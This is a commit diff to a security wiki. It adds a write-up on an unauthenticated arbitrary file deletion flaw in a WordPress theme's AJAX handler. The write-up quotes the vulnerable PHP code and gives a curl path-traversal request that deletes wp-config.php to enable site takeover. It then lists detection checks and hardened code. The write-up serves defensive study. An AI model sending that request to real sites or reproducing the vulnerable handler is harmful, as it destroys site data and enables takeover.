mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Add content from: Unauthenticated Arbitrary File Deletion Vulnerability in Lit...
This commit is contained in:
parent
99406ac909
commit
a910d723e9
@ -408,6 +408,88 @@ The `permission_callback` is a callback to function that checks if a given user
|
||||
|
||||
Of course, Wordpress uses PHP and files inside plugins are directly accessible from the web. So, in case a plugin is exposing any vulnerable functionality that is triggered just accessing the file, it's going to be exploitable by any user.
|
||||
|
||||
### Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0)
|
||||
|
||||
WordPress themes and plugins frequently expose AJAX handlers through the `wp_ajax_` and `wp_ajax_nopriv_` hooks. When the **_nopriv_** variant is used **the callback becomes reachable by unauthenticated visitors**, so any sensitive action must additionally implement:
|
||||
|
||||
1. A **capability check** (e.g. `current_user_can()` or at least `is_user_logged_in()`), and
|
||||
2. A **CSRF nonce** validated with `check_ajax_referer()` / `wp_verify_nonce()`, and
|
||||
3. **Strict input sanitisation / validation**.
|
||||
|
||||
The Litho multipurpose theme (< 3.1) forgot those 3 controls in the *Remove Font Family* feature and ended up shipping the following code (simplified):
|
||||
|
||||
```php
|
||||
function litho_remove_font_family_action_data() {
|
||||
if ( empty( $_POST['fontfamily'] ) ) {
|
||||
return;
|
||||
}
|
||||
$fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] );
|
||||
$upload_dir = wp_upload_dir();
|
||||
$srcdir = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily;
|
||||
$filesystem = Litho_filesystem::init_filesystem();
|
||||
|
||||
if ( file_exists( $srcdir ) ) {
|
||||
$filesystem->delete( $srcdir, FS_CHMOD_DIR );
|
||||
}
|
||||
die();
|
||||
}
|
||||
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
|
||||
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
|
||||
```
|
||||
|
||||
Issues introduced by this snippet:
|
||||
|
||||
* **Unauthenticated access** – the `wp_ajax_nopriv_` hook is registered.
|
||||
* **No nonce / capability check** – any visitor can hit the endpoint.
|
||||
* **No path sanitisation** – the user–controlled `fontfamily` string is concatenated to a filesystem path without filtering, allowing classic `../../` traversal.
|
||||
|
||||
#### Exploitation
|
||||
|
||||
An attacker can delete any file or directory **below the uploads base directory** (normally `<wp-root>/wp-content/uploads/`) by sending a single HTTP POST request:
|
||||
|
||||
```bash
|
||||
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
|
||||
-d 'action=litho_remove_font_family_action_data' \
|
||||
-d 'fontfamily=../../../../wp-config.php'
|
||||
```
|
||||
|
||||
Because `wp-config.php` lives outside *uploads*, four `../` sequences are enough on a default installation. Deleting `wp-config.php` forces WordPress into the *installation wizard* on the next visit, enabling a full site take-over (the attacker merely supplies a new DB configuration and creates an admin user).
|
||||
|
||||
Other impactful targets include plugin/theme `.php` files (to break security plugins) or `.htaccess` rules.
|
||||
|
||||
#### Detection checklist
|
||||
|
||||
* Any `add_action( 'wp_ajax_nopriv_...')` callback that calls filesystem helpers (`copy()`, `unlink()`, `$wp_filesystem->delete()`, etc.).
|
||||
* Concatenation of unsanitised user input into paths (look for `$_POST`, `$_GET`, `$_REQUEST`).
|
||||
* Absence of `check_ajax_referer()` and `current_user_can()`/`is_user_logged_in()`.
|
||||
|
||||
#### Hardening
|
||||
|
||||
```php
|
||||
function secure_remove_font_family() {
|
||||
if ( ! is_user_logged_in() ) {
|
||||
wp_send_json_error( 'forbidden', 403 );
|
||||
}
|
||||
check_ajax_referer( 'litho_fonts_nonce' );
|
||||
|
||||
$fontfamily = sanitize_file_name( wp_unslash( $_POST['fontfamily'] ?? '' ) );
|
||||
$srcdir = trailingslashit( wp_upload_dir()['basedir'] ) . 'litho-fonts/' . $fontfamily;
|
||||
|
||||
if ( ! str_starts_with( realpath( $srcdir ), realpath( wp_upload_dir()['basedir'] ) ) ) {
|
||||
wp_send_json_error( 'invalid path', 400 );
|
||||
}
|
||||
// … proceed …
|
||||
}
|
||||
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_family' );
|
||||
// 🔒 NO wp_ajax_nopriv_ registration
|
||||
```
|
||||
|
||||
> [!TIP]
|
||||
> **Always** treat any write/delete operation on disk as privileged and double-check:
|
||||
> • Authentication • Authorisation • Nonce • Input sanitisation • Path containment (e.g. via `realpath()` plus `str_starts_with()`).
|
||||
|
||||
---
|
||||
|
||||
## WordPress Protection
|
||||
|
||||
### Regular Updates
|
||||
@ -436,4 +518,8 @@ Also, **only install trustable WordPress plugins and themes**.
|
||||
- **Limit login attempts** to prevent Brute Force attacks
|
||||
- Rename **`wp-admin.php`** file and only allow access internally or from certain IP addresses.
|
||||
|
||||
## References
|
||||
|
||||
- [Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme](https://patchstack.com/articles/unauthenticated-arbitrary-file-delete-vulnerability-in-litho-the/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user